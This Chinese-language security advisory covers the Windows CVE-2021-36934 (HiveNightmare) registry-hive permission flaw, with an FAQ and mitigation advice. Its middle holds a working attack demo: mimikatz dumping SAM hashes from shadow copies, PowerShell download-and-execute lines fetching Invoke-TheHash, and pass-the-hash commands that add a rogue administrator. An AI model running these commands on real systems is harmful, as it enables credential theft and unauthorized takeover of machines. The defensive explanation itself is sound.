关于微软注册表配置单元漏洞需知事项:#SeriousSAM
#hivenightmare / #lolwut
漏洞概述
简而言之 — 这是Windows 10几乎所有受支持版本中未修补的权限提升漏洞。
该漏洞(CVE-2021–36934)允许在Windows 10(或11)上具有有限用户代码执行权限的攻击者本地获取管理员权限,从而实现以下后续攻击:
- 通过Mimikatz风格的LSASS攻击窃取任何已登录用户的凭据材料
- 转储并破解缓存的域凭据
- 通过银票(Silver Ticket)攻击在Windows 10机器上实现持久化
应对措施
微软尚未发布补丁,但提供了可用的缓解方案:
由于权限设置薄弱,有限用户可以读取以下路径的注册表配置单元文件:
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY
受影响的Windows 10版本
Windows 10版本1809及以上的新安装版本似乎均存在漏洞,但奇怪的是,更新的Windows 10 20H1 ISO全新安装是个例外。
攻击者如何利用此漏洞?
初始访问的极常见场景是网络钓鱼,使攻击者能够控制员工的计算机(无论是笔记本电脑、台式机、虚拟桌面等)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
cls
:: 以“limiteduser”身份运行,这是一个不在管理员组中的新账户:
whoami
whoami /groups
net user limiteduser
:: 该系统是Windows 10 1809的新安装,这是最旧的受支持Windows 10版本
:: 与几乎所有此类版本一样,它具有允许有限用户访问注册表配置单元的权限缺陷:
icacls C:\Windows\System32\config\SAM | findstr "Users"
:: 设置指向最新卷影副本的环境变量(默认在系统驱动器>=128GB的Windows 10上启用)
set directory=\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\system32\config
$directory = "\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\system32\config"
:: 将Mimikatz指向VSS备份并筛选Administrator用户和哈希
:: 其他工具也可以做到这一点,或者攻击者可以简单地外泄注册表配置单元并在自己的机器上使用Mimikatz
mimikatz "lsadump::sam /system:%directory%\system /sam:%directory%\sam" exit | findstr /c:"User : Administrator" /c:"8846"
.\mimikatz.exe "lsadump::sam /system:$directory\system /sam:$directory\sam" exit | findstr /c:"User : Administrator" /c:"8846"
:: AMSI在此处或一般情况下不是防御措施
https://amsi.fail/
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://github.com/Kevin-Robertson/Invoke-TheHash/raw/master/Invoke-TheHash.ps1'))
Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://github.com/Kevin-Robertson/Invoke-TheHash/raw/master/Invoke-SMBExec.ps1'))
Invoke-TheHash -Type SMBExec -Target 127.0.0.1 -Username Administrator -hash 8846f7eaee8fb117ad06bdd830b7586c -Command "net user hacker TipYourWaiters /add"
Invoke-TheHash -Type SMBExec -Target 127.0.0.1 -Username Administrator -hash 8846f7eaee8fb117ad06bdd830b7586c -Command "net localgroup Administrators hacker /add"
:: 与已知密码'password'比较 — 匹配
python -c "import hashlib, binascii; print(binascii.hexlify(hashlib.new('md4','password'.encode('utf-16le')).digest()))"
icacls C:\Windows\System32\config\SAM | findstr "Users"
vssadmin list shadows | findstr "Original"
|
常见问题解答
从注册表配置单元移除Users组权限是否能修复问题?
不能,原始权限将保留在文件系统的卷影副本快照上(https://twitter.com/wdormann/status/1417525453116608512)
禁用卷影副本服务是否会移除所有先前的快照?
不能,禁用卷影副本服务仅移除为系统保护目的创建的快照(https://twitter.com/wdormann/status/1417547126347808774)
哪些Windows 10版本默认存在漏洞?
基本上,任何从版本1809开始的Windows 10均存在漏洞。然而,Windows 10 1809 ISO的一些后期修订版具有正确/无漏洞的权限,并且这些权限在进一步的Windows更新和升级到后续版本时得以保留。强烈建议将所有受支持的Windows 10版本视为存在漏洞。
来源:https://twitter.com/jeffmcjunkin/status/1417281315016122372 和 https://twitter.com/gentilkiwi/status/1417484076550873089
永不浪费危机
开始发展事件响应能力
Velociraptor具有良好的扩展性,允许全面检查漏洞,并通过微软的缓解方案进行实际修复。
如果其他事件响应工具具备以下最低能力,也可以使用:
- 解决方案可扩展到您的终端数量
- 允许对威胁狩猎和行动进行细粒度定位
- 支持本地、云托管和企业网络外的设备
*感谢我们的朋友Jeff McJunkin与黑山信息安全(BHIS)社区分享他的知识。